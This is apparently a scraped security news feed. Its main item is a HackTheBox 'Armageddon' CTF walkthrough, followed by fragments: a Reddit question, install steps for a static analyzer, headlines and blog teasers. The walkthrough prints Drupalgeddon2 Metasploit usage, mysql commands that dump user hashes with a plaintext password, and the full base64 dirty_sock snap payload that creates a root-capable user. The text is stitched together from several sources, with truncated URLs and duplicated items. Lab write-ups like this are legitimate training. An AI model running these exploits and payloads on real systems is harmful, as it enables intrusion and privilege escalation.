Hacking Articles|Raj Chandel's Blog
Armageddon HackTheBox Walkthrough

We’ll look at another one of HackTheBox machines today, called “Armageddon.” It is an easy box targeting commonly found threat of using outdated plugins. In this box, old and vulnerable version of Drupal is showcased. We’d own the root user by targeting it. Here is the methodology. Penetration Testing Methodology· NmapVulnerability Analysis and Exploitation· Drupalgeddon2 RCE exploit to gain user shellPrivilege Escalation· Searching for mysql database credentials in default filesReconMachine’s IP was 10.129.48.89. The first step was to run nmap’s aggressive scan to look for open ports. As you can see a port 80 was found to be open.nmap -A  10.129.48.89https://blogger.googleusercontent.com/img/a/AVvXsEiIseJMMBSWNZIY_v8137CAhYplR3SCz5373lhxqSgZbTkFUrH_vTmX4-GRyivcJR2bU88jqe9wOEQS9qoRS9HvnABh17fCRNwHQM6voofL9NmLWOujHPOidqYq-bfyYgLE1cseZYn8kJzVtxM8RECvzA_zg7RwluCgn05YLuW1X9QSAOSccZAzeGC0FQ=s16000 On traversing the website on port 80, it seemed a CMS made website.Vulnerability Analysis and ExploitationWe knew that Drupal 7.X before 7.58 was vulnerable to various CVEs including CVE-2018-7600. Drupalgeddon2 exploit is developed to exploit Drupal’s form API and exploits insufficient input validation. You can refer the original repo here.Privilege EscalationGladly Metasploit had this exploit in the framework, so we just used that and spawned an interactive shell. On checking the current directory we saw the site installation files with necessary permissions to let us view the content.use exploit/unix/webapp/drupal_drupalgeddon2A basic ls let us view contents.___________________________
@hacking_Attack
@Hacking_Video

7qaYIOPPa04kHlbGulwCPiNs4ShNxXR2XVcGg=s16000 As you can see on the official forums of Drupal, we found the location, which is /sites/default/settings.phphttps://blogger.googleusercontent.com/img/a/AVvXsEiJ-cfFE6LquSuNH7EuuqGxgaoa0wWaZNLlQk8FAMtFNAnsc6w0_WCcKpgISikydcaFJskdycol8-ir05S4WDlCCSot47XBzzRm6y5INy4NG9RN6WsV94kOsesSq3E8mfUUNh-52HdjHRyUWxPHr0OazkEvP3kjOl6KmrpzQSQDnFzN7qQA1Z8ak6F4Tw=s16000 So, we traversed to the directory and read settings.phpfilecd siteshttps://blogger.googleusercontent.com/img/a/AVvXsEit3RCCI0S2Wn61zSi1PNCdwsdP0nsB4qrvELH6pJfVpGOW5Up42Qkf69NBLj27GLxVCk1auMyAhJIQpuNedHzZvyZpOnrm3B7YP01k9CzsJH7nlTeze6SNvZ9zKPP3nMQnalsuiyyx0_7bnx_0a0ouRR4_J2BFcAzCbs44KW05nK3AgON5dUHyGyK_Sw=s16000 Scrolling a little further down we observed the credentials.shellFirst, we found the available tables in the current database.mysql -u 'drupaluser' -p'CQHEy@9M*m23gBVj' -D drupal -e 'show tables;'https://blogger.googleusercontent.com/img/a/AVvXsEiSkwd6AS_8tAG2j4k-f7yYfM6JdKygJLW5d0_Gg7FqHzXUvNs-_fWhUqtailSOt3xYzdtOVVIMVkear-jGPNY-B6jmNTxjThU4pjgA2j9sgEf9Y5zKwXw-z1-Kzg9dNyODUKuexv4yC4SvP_6gZHqt6ZoKI871crPtHKr5-j5dMItH3oJm70FvIQ63Ug=s16000 An important database ‘users’ was found. describe tablecommand to dump the schema of the table and finally, select command to dump username and password.mysql -u 'drupaluser' -p'CQHEy@9M*m23gBVj' -D drupal -e 'describe users;'https://blogger.googleusercontent.com/img/a/AVvXsEjmcn26mhQr05d3XJ5tFDAjA6040CZ4p3N_KP8EX3wHgEXB15JmZkAzUuPAUoSRehUb6yIApT1HAARWkJbdJj6y-GOGbLl2xujba5cjAjAdlgOOL-8LaADdVPcTFmCg1FU9rwEhGKdcPXD7_JcI6SO0hIwmzGQ-KBuP8sAE53jUj5GmHPa6bNe1EBlUvw=s16000 After obtaining the username (brucetherealadmin) and a password hash, we copied the hash in a text file and cracked it using JohnTheRipper.nano hash (to copy the hash in the file)https://blogger.googleusercontent.com/img/a/AVvXsEguzzBo6vagUuRLojLvNACf8JxowhdpGOut_9PIzJGXgM1atdYDjj5ojsvNacnnmAqR749JskADK6Sm2zlbXAySqDWajqJo8qwA0Nu7mJOpuKzTEQHOlxdqyoa3_rwEmAUdSqKdp8nzCbnnmBsDsLqKcvb6U9SLY_hfWJQ7Cih_ZfMa_9Uf_XlkkMKvLw=s16000 After obtaining the clear text password, we SSHed into the server and snagged the user.txt flag.ssh brucetherealadmin@10.129.48.89Next, we checked sudoers file for usable entries and found snap binary in it.sudo -lhttps://blogger.googleusercontent.com/img/a/AVvXsEhzxrkVbZBSXv1dwnyeCxjM7GV1X8TfYJlXuG_dyYVs7dtHpQjS9lo8sjQ361nQw3DQ-gZ9NY-OcqNHZDwyGbWwcCei020LLQtpyWthO_xY84vJmDyo35dSEpShDnDBOwbImgCv6tR54YEJ77xC6DGaL2BVCAK4m5SGma0IUYdoFv0zKAsAyUxUibgAew=s16000 Snap is a Debian software packaging and deployment system used to install “snaps.” These snaps are other softwares. So, if we were to write our own script and deploy it using snap, we could escalate privileges. This is precisely what the exploit “dirty_sock” did.___________________________
@hacking_Attack
@Hacking_Video

t.com/img/a/AVvXsEg1FcseGye-aVCfkhh654CtM32g9pRs6UqDXGs92oycgs0x1rR47kcKkHxyN8wW6BSUCYCTa-CA696cUo0l-8MJblzqUhfNBbuI7llL1-QP_mxMNX-gzVtI3nHce1Y1xsyf_dK_jBU0wPZhgg3I_boSonQYl9DdpYsfcmR-Kw4meHhjkptjy4c_3BmrbA=s16000 This exploit tampers with the snapd API running in Debian to append a socket call that makes it believes that a root user is making requests. For more info, refer here.python -c 'print "aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERoT2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawplY2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZtb2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAerFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw" + "A"*4256 + "=="' | base64 -d > raj.snapAnd then we installed it usingsudo /usr/bin/snap install –devmode raj.snaphttps://blogger.googleusercontent.com/img/a/AVvXsEgepMu9oEnLogPRjKSOuNObT_pP3FxKc17T1wMmLBnGAcszzZok4MISUfq1b122O_sq1CiS84MnysGCYs2FMqgxlP0kraLsL3GdkWFf0R9XIKUYPJnF00l32ruIOgZKxS9lHMnTS9VrGiyM3FffUp18JlfDL4sC1msMUldaB1OvXnQs8vmZqCfA4DYNeQ=s16000 As you can see, the user dirty_sock has been added in the system. The exploit created a user “dirty_sock” with password “dirty_sock”tail /etc/passwdhttps://blogger.googleusercontent.com/img/a/AVvXsEgufgsMCplbiAdGTG0vIGqu_fGjCn79ljf0sEY_4TrbinEhdyrYiT3D203F-bXFj1Wl6I7da_bEEwdBjsR36mDxetQRG4NZiUc3q2Dn2HO9IG32zabfh8fP3Z4HWSZNGMFhvCPIxUNLbD5xZXA3Y9ySM315CQ7r2K8esasrcvyM3Z446frgQIcLF9fpZg=s16000 Now, we were able to SSH into this newly created account. But we simply changed the account usingsu dirty_sockThe password was the same as the username. Upon checking the sudoers file, we saw that any command could be run as root. This was the doing of that exploit.sudo -iAnd snagged the root flag.___________________________
@hacking_Attack
@Hacking_Video

What is a source maps vulnerability?
https://www.reddit.com/r/Pentesting/comments/q6swv3/what_is_a_source_maps_vulnerability/

I was wondering if any can simplify the source maps vulnerability?. I've googled this vulnerability but can't get my head around this. Could anyone please help me to understand this issue and how do I investigate and find the issue?. All I know it's normally a '`.map`' file, is it correct and normally can be done by adding `.map` at the end of the `js` extension? Something like `example.js.map.` Not sure how to tell the difference between minified and unminify code? submitted by /u/sr-zeus (https://www.reddit.com/user/sr-zeus)
[link] (https://www.reddit.com/r/Pentesting/comments/q6swv3/what_is_a_source_maps_vulnerability/) [comments] (https://www.reddit.com/r/Pentesting/comments/q6swv3/what_is_a_source_maps_vulnerability/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
Armageddon HackTheBox Walkthrough

We’ll look at another one of HackTheBox machines today, called “Armageddon.” It is an easy box targeting the commonly found threat of using outdated plugins. In this box, an old and vulnerable version of Drupal is showcased. We’d own the root user by targeting it. Here is the methodology. Penetration

The post Armageddon HackTheBox Walkthrough appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Shisho - Lightweight Static Analyzer For Several Programming Languages

https://blogger.googleusercontent.com/img/a/AVvXsEhjeOPrPfhcUyXSBkhzzsX5kx9rR9UnTis5QCVKEeDsJ-n5hOWOB-Dm9kUt6oKVS1IebHEiWZhMNvRpl2brl8TPJSUSXL8UmLRULenf8s6166K9s7zWDs-wb-UvebV-8eOAOJoX7wxC9facM7LE7qPNPmVIYHOccL-q-y_buhO84YISPhNeaNnY7I76MA=w640-h182
Shisho is a lightweight static analyzer for developers.

Please see the usage documentation for further information.
https://blogger.googleusercontent.com/img/a/AVvXsEicHW2YENiWtucGKiTFVkDGkNFfG3NML7joNUuwHRciD02yT-LfUjk73At5I6BHGZCZZhKTma9KLaNFyX7iWQyvJUWN9I7DHmoZwn2f9Ye9vca3r8TGPoQoMp2wCKATvjDyOZsGtGRlyYVWGdJ78cxMMS-dJGWxPoiFeOuxqvQAtdPFXGXskkvM3ad_nQ=w640-h316
Try at Playground

You can try Shisho at our playground.

Try with Docker

You can try shisho in your machine as follows:

echo "func test(v []string) int { return len(v) + 1; }" | docker run -i ghcr.io/flatt-security/shisho-cli:latest find "len(:[...])" --lang=go

file.go docker run -i -v $(PWD):/workspace ghcr.io/flatt-security/shisho-cli:latest find "len(:[...])" --lang=go /workspace/file.go ">echo "func test(v []string) int { return len(v) + 1; }" > file.go
docker run -i -v $(PWD):/workspace ghcr.io/flatt-security/shisho-cli:latest find "len(:[...])" --lang=go /workspace/file.go

Install with pre-built binaries

When you'd like to run shisho outside docker containers, please follow the instructions below:

Linux / macOS

Run the following command(s):

# Linux
wget https://github.com/flatt-security/shisho/releases/latest/download/build-x86_64-unknown-linux-gnu.zip -O shisho.zip
unzip shisho.zip
chmod +x ./shisho
mv ./shisho /usr/local/bin/shisho

# macOS
wget https://github.com/flatt-security/shisho/releases/latest/download/build-x86_64-apple-darwin.zip -O shisho.zip
unzip shisho.zip
chmod +x ./shisho
mv ./shisho /usr/local/bin/shisho

Then you'll see a shisho's executable in /usr/local/bin.

Windows

Download the prebuild binary from releases and put it into your %PATH%directory.

If you're using Windows Subsystem for Linux, you can install shisho with the above instructions.

More

* We're also building Shisho as a Service to make Security-as-Code more accessible.
* If you need direct support, you can contact us at contact@flatt.tech.
Download Shisho

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
High-Profile Breaches Are Shifting Enterprise Security Strategy

Increased media attention is driving changes in enterprise security strategy -- some positive, some negative.

Dark Reading: Attacks/Breaches
Smaller 'Bit and Piece' DDoS Attacks Slam Servers to Evade Mitigation Systems

Nearly all DDoS attacks in the first half of 2021 were less than 1 Gbps, Nexusguard found.

___________________________
@hacking_Attack
@Hacking_Video

What is a Bug Bounty Program?
https://duanechambers77.medium.com/what-is-a-bug-bounty-program-81873c8c4be2?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

A bug bounty program is a reward offered by many online organizations, software vendors, and corporate entities that enable people to get…Continue reading on Medium » (https://duanechambers77.medium.com/what-is-a-bug-bounty-program-81873c8c4be2?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

How I easily found Blind XSS
https://adamwize.medium.com/how-i-easily-found-blind-xss-311332693201?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

One day I was scrolling through Twitter and saw a post about a vulnerability called “Blind XSS”. I was still reasonably new to bug bounty…Continue reading on Medium » (https://adamwize.medium.com/how-i-easily-found-blind-xss-311332693201?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

What is a Bug Bounty Program?

A bug bounty program is a reward offered by many online organizations, software vendors, and corporate entities that enable people to get…Continue reading on Medium »
Read more...

How I easily found Blind XSS

One day I was scrolling through Twitter and saw a post about a vulnerability called “Blind XSS”. I was still reasonably new to bug bounty…Continue reading on Medium »
Read more...

Shisho - Lightweight Static Analyzer For Several Programming Languages
http://www.kitploit.com/2021/10/shisho-lightweight-static-analyzer-for.html

___________________________
@hacking_Attack
@Hacking_Video